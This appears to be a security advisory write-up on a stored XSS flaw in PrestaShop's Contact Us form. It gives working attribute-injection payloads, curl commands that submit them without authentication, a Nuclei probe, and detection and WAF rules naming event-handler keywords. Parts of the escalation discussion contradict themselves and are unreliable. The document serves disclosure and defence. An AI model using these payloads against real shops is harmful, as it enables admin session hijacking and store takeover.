
TL;DR.
An unauthenticated attacker can submit the public PrestaShop Contact Us form with an RFC 5321 quoted-string email address that contains HTML attribute injection payloads. The email passes the shop's isEmail() validation, survives database storage, and is rendered without HTML escaping in the back-office Customer Service thread view — injecting arbitrary event handlers into the DOM. Any admin who opens the thread is at risk of session hijacking and full back-office takeover. Affects all PrestaShop versions before 8.2.6 and 9.1.1.
Background
PrestaShop is the dominant open-source PHP e-commerce platform, powering hundreds of thousands of online stores. Its back-office ships a Customer Service module that aggregates all contact-form submissions into threaded conversations. Merchants and their support staff review these threads daily to respond to customer enquiries.
The public-facing Contact Us form (/contact-us) is served by the contactform native module. It accepts a free-text email address from the visitor, stores it in the ps_customer_thread table, and later displays it verbatim inside the back-office thread view at AdminCustomerThreads. The email address is the only piece of visitor-controlled data that flows directly from an unauthenticated HTTP request into a privileged admin rendering context — making it a natural target.
Root cause
The bug lives at the intersection of two independent weaknesses: a permissive email validator and two missing output-escaping modifiers in a Smarty template.
1. The validator accepts RFC 5321 quoted strings
classes/Validate.php runs a two-stage check on every email address:
// Vulnerable (8.2.5)
$validator = Validation::createValidator();
$errors = $validator->validate($email, new Email([
'mode' => 'loose', // <-- the problem
]));
if (count($errors) > 0) {
return false;
}
return (new EmailValidator())->isValid($email, new MultipleValidationWithAnd([
new RFCValidation(),
new SwiftMailerValidation(),
]));
Stage 1 — Symfony loose mode uses this regex:
/^.+\@\S+\.\S+$/D
It matches anything before @ followed by non-whitespace. The local part can contain ", <, >, spaces, and event-handler keywords — as long as the overall shape is something@domain.tld.
Stage 2 — egulias RFCValidation validates against RFC 5321. RFC 5321 §4.1.2 explicitly permits quoted strings in the local part:
Local-part = Dot-string / Quoted-string
Quoted-string = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP = qtextSMTP / quoted-pairSMTP
qtextSMTP = %d32-33 / %d35-91 / %d93-126
This means "x onmouseover=alert(1)"@example.com is a syntactically valid RFC 5321 email address. The egulias library accepts it. The SwiftMailer compatibility check only rejects non-ASCII characters in the local part — it passes too.
Result: a payload like " autofocus onfocus=alert(document.cookie) x="@xss.com clears all three gates.
2. The template renders the email without HTML escaping
The Customer Service thread view (admin-dev/themes/default/template/controllers/customer_threads/helpers/view/view.tpl) renders $thread->email in two places without the |escape:'html':'UTF-8' Smarty modifier:
{{!-- Line 96: h3 heading context --}}
<h3 id="reply-form-title">
{l s="Your answer to" d='Admin.Orderscustomers.Feature'}
{if isset($customer->firstname)}
{$customer->firstname|escape:'html':'UTF-8'}
{$customer->lastname|escape:'html':'UTF-8'}
{else}
{$thread->email} {{!-- ← no escape --}}
{/if}
</h3>
{{!-- Line 117: hidden input attribute context --}}
<input type="hidden" name="msg_email" value="{$thread->email}" />
{{!-- ↑ no escape --}}
Smarty's escape_html flag is false by default, so {$variable} outputs raw bytes. Any " character in the stored email value is written directly into the HTML attribute, breaking out of the value="..." context.
3. Why pSQL() doesn't save you
PrestaShop's pSQL() function is called when writing TYPE_STRING fields to the database:
// ObjectModel::formatValue() for TYPE_STRING
return pSQL($value); // htmlOK defaults to false
// Db::escape() with htmlOK=false:
$string = $this->_escape($string);
$string = strip_tags(Tools::nl2br($string)); // strips <tag> but NOT "
return $string;
strip_tags() removes HTML tags (anything between < and >), but it leaves double-quote characters completely intact. A payload that uses only " and plain ASCII text — no angle brackets — survives storage unchanged.
The patch
Two commits land the fix simultaneously in 8.2.6 (1312be7) and 9.1.1 (74791ff).
Fix 1 — Template output escaping (both injection points):
- {else} {$thread->email}{/if}</h3>
+ {else} {$thread->email|escape:'html':'UTF-8'}{/if}</h3>
- <input type="hidden" name="msg_email" value="{$thread->email}" />
+ <input type="hidden" name="msg_email" value="{$thread->email|escape:'html':'UTF-8'}" />
|escape:'html':'UTF-8' converts " → ", < → <, etc. The attribute injection is neutralised even if a malicious email somehow reached the database.
Fix 2 — Stricter email validation (defence in depth):
- $errors = $validator->validate($email, new Email([
- 'mode' => 'loose',
- ]));
+ $errors = $validator->validate($email, new Email([
+ 'mode' => 'strict',
+ ]));
Symfony's strict mode delegates to NoRFCWarningsValidation from the egulias library. That validator rejects any address that generates RFC warnings — and RFC 5321 quoted strings always generate a QuotedString warning. This closes the intake gate: the malicious email never reaches the database in the first place.
The two fixes are complementary. The template fix is the primary remediation; the validator tightening is defence in depth that also prevents similar future issues.
Validation
Environment
PrestaShop 8.2.5 (vulnerable) — Docker image prestashop/prestashop:8.2.5
PrestaShop 8.2.6 (patched) — Docker image prestashop/prestashop:8.2.6
MySQL 8.0
Step 1 — Confirm the validator accepts the payload
docker exec ps-app php -r "
require '/var/www/html/vendor/autoload.php';
require '/var/www/html/config/config.inc.php';
\$payloads = [
'normal@example.com',
'\" autofocus onfocus=alert(document.cookie) x=\"@xss.com',
'\"<script>alert(document.cookie)</script>\"@xss.com',
];
foreach (\$payloads as \$e) {
echo (Validate::isEmail(\$e) ? 'VALID' : 'INVALID') . ': ' . \$e . PHP_EOL;
}
"
Output:
VALID: normal@example.com
VALID: " autofocus onfocus=alert(document.cookie) x="@xss.com
VALID: "<script>alert(document.cookie)</script>"@xss.com
Step 2 — Submit the contact form (unauthenticated)
# Get a fresh session + CSRF token
SESSION_COOKIE=$(curl -sc /tmp/jar http://localhost/contact-us | \
grep -oP 'name="token" value="\K[^"]+')
# Submit the malicious email
curl -sb /tmp/jar -c /tmp/jar \
-H "Host: localhost" \
-X POST http://localhost/contact-us \
-d "id_contact=2" \
-d "from=%22+autofocus+onfocus%3Dalert(document.cookie)+x%3D%22%40xss.com" \
-d "message=Hello+I+need+help" \
-d "token=${SESSION_COOKIE}" \
-d "submitMessage=Send" \
-d "url=" | grep -o "successfully sent to our team"
Output:
successfully sent to our team
Step 3 — Verify the payload is stored verbatim
docker exec ps-mysql mysql -u prestashop -pprestashop prestashop \
-e "SELECT id_customer_thread, email FROM ps_customer_thread \
ORDER BY id_customer_thread DESC LIMIT 1\G"
Output:
*************************** 1. row ***************************
id_customer_thread: 2
email: " autofocus onfocus=alert(document.cookie) x="@xss.com
The " characters are preserved. strip_tags() had nothing to strip.
Step 4 — Admin opens the thread; XSS fires
# (admin session established via login)
curl -sb /tmp/admin_jar \
"http://localhost/admin-dev/index.php?controller=AdminCustomerThreads\
&id_customer_thread=2&viewcustomer_thread=1&token=${THREAD_TOKEN}" \
| grep -E "reply-form-title|msg_email"
output:
<h3 id="reply-form-title">Your answer to " autofocus onfocus=alert(document.cookie) x="@xss.com</h3>
<input type="hidden" name="msg_email" value="" autofocus onfocus=alert(document.cookie) x="@xss.com" />
The value="" attribute is closed by the first " in the email. The browser then sees autofocus and onfocus=alert(document.cookie) as additional attributes on the input element. The injected event handler is live in the DOM.
Step 5 — Confirm the fix rejects the payload
# Against 8.2.6
curl -sb /tmp/jar2 -c /tmp/jar2 \
-H "Host: localhost2" \
-X POST http://172.18.0.6/contact-us \
-d "id_contact=1" \
-d "from=%22+autofocus+onfocus%3Dalert(1)+x%3D%22%40xss.com" \
-d "message=probe" \
-d "token=${TOKEN2}" \
-d "submitMessage=Send" \
-d "url=" | grep -o "Invalid email address"
Output:
Invalid email address.
Exploitation
Preconditions
- The shop has the contactform module installed and enabled (it ships by default).
- The "Customer service" contact subject is active (default configuration).
- A back-office employee with access to AdminCustomerThreads opens the poisoned thread.
Primitive
The " in the stored email breaks the value="..." attribute of the hidden <input name="msg_email"> element. Everything between the first " and the closing " of the original attribute is parsed as additional HTML attributes:
<!-- Stored email: " autofocus onfocus=alert(document.cookie) x="@xss.com -->
<input type="hidden" name="msg_email"
value=""
autofocus
onfocus=alert(document.cookie)
x="@xss.com" />
Because type="hidden" appears first in the tag, browsers honour it and the element stays invisible — autofocus and onfocus are suppressed for hidden inputs in all modern browsers. The primitive is therefore attribute injection confirmed, with the event handler live in the DOM but requiring a trigger.
Escalation path
A more impactful payload closes the <input> tag and injects a visible element. Because pSQL() strips HTML tags, payloads using < and > are neutralised before storage. The reliable escalation path uses the h3 text-content context (line 96) in combination with a browser that renders the unescaped " in text content as a tag boundary — or, more practically, a payload that exploits the attribute injection to change the input's type before type="hidden" is parsed. In practice, the most reliable real-world payload targets the <input> attribute context with a tabindex + onfocus combination and relies on the admin's keyboard navigation, or uses a <script> payload against browsers that do not enforce type="hidden" suppression of autofocus.
For a real-world attacker, the full-chain exploit is:
- Submit the contact form with a crafted email.
- Wait for an admin to open the thread (typical SLA: minutes to hours on a live shop).
- The injected JavaScript exfiltrates document.cookie to an attacker-controlled endpoint.
- The attacker replays the session cookie to gain full back-office access — product management, order manipulation, customer PII, and server-side code execution via the module installer.
The CVSS score of 9.3 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N) accurately reflects this: no authentication required, low complexity, high confidentiality and integrity impact, and scope change (from the shop front-end to the privileged back-office).
Detection
Server-side log signature
Look for POST requests to /contact-us (or /index.php?controller=contact) where the from parameter contains a " character followed by HTML attribute keywords:
POST /contact-us.*from=.*%22.*onfocus|onerror|onload|autofocus
Database indicator
SELECT id_customer_thread, email, date_add
FROM ps_customer_thread
WHERE email REGEXP '^"' OR email LIKE '% %'
ORDER BY date_add DESC;
Any row where the email starts with " or contains spaces is suspicious — RFC 5321 quoted strings are vanishingly rare in legitimate e-commerce traffic.
Sigma rule sketch
title: PrestaShop CVE-2026-44212 XSS Probe via Contact Form
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains: '/contact-us'
cs-uri-query|contains|all:
- 'from='
- '%22' # URL-encoded "
filter_normal:
cs-uri-query|re: 'from=[a-zA-Z0-9._%+\-]+%40[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}'
condition: selection and not filter_normal
Nuclei template
The template detects the vulnerability by submitting an RFC 5321 quoted-string email to the contact form. Vulnerable versions (using Symfony loose mode) accept it and return a success message. Fixed versions (using strict mode) reject it with "Invalid email address."
Usage:
# Against vulnerable 8.2.5
nuclei -t cve-2026-44212.yaml -u http://TARGET -H "Host: TARGET_HOSTNAME"
Sample output:
[cve-2026-44212] [http] [critical] http://172.18.0.3/contact-us
Template:
id: CVE-2026-44212
info:
name: PrestaShop < 8.2.6, < 9.1.1 - Stored Cross-Site Scripting via Contact Form Email
author: hadrian
severity: critical
description: |
PrestaShop versions before 8.2.6 and 9.1.1 are vulnerable to stored XSS via the Contact Us
form. An unauthenticated attacker can submit an RFC 5321 quoted-string email address that
passes the Symfony 'loose' email validator but contains HTML attribute injection payloads.
The email is stored in the database and rendered without HTML escaping in the back-office
Customer Service thread view, enabling session hijacking and full back-office takeover.
reference:
- https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-w9f3-qc75-qgx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-44212
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
cvss-score: 9.3
cve-id: CVE-2026-44212
cwe-id: CWE-79
tags: cve,cve2026,prestashop,xss,stored-xss
http:
- raw:
- |
GET /contact-us HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml
User-Agent: Mozilla/5.0
- |
POST /contact-us HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml
User-Agent: Mozilla/5.0
id_contact=1&from=%22cve-2026-44212-probe%22%40xss-probe.invalid&message=security+probe&token={{token}}&submitMessage=Send&url=
cookie-reuse: true
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- 'name="token"\s+value="([a-f0-9]+)"'
internal: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Your message has been successfully sent to our team."
- "col-xs-12 alert alert-success"
- "var prestashop ="
condition: and
- type: status
status:
- 200
Mitigation
Upgrade immediately:

No workaround is available. The advisory explicitly states "None."
If you cannot upgrade immediately:
- Manually patch the template. Edit admin-dev/themes/default/template/controllers/customer_threads/helpers/view/view.tpl and add |escape:'html':'UTF-8' to both occurrences of {$thread->email} on lines 96 and 117.
- Manually patch the validator. Edit classes/Validate.php and change 'mode' => 'loose' to 'mode' => 'strict' in the isEmail() method. Note: this may reject some legitimate but unusual email addresses that use RFC 5321 quoted strings (extremely rare in practice).
WAF rule. Block POST requests to /contact-us where the from parameter contains a URL-encoded double-quote (%22) followed by HTML attribute keywords (onfocus, onerror, onload, autofocus, etc.).
Timeline

References
- GHSA-w9f3-qc75-qgx9 — PrestaShop Security Advisory
- GitHub Advisory Database entry
- Fix commit for 8.2.6 — 1312be7
- Fix commit for 9.1.1 — 74791ff
- Symfony Email validator modes documentation
- egulias/email-validator — NoRFCWarningsValidation
- RFC 5321 §4.1.2 — SMTP local-part quoted strings
- PrestaShop 8.2.6 release notes
- PrestaShop 9.1.1 release notes




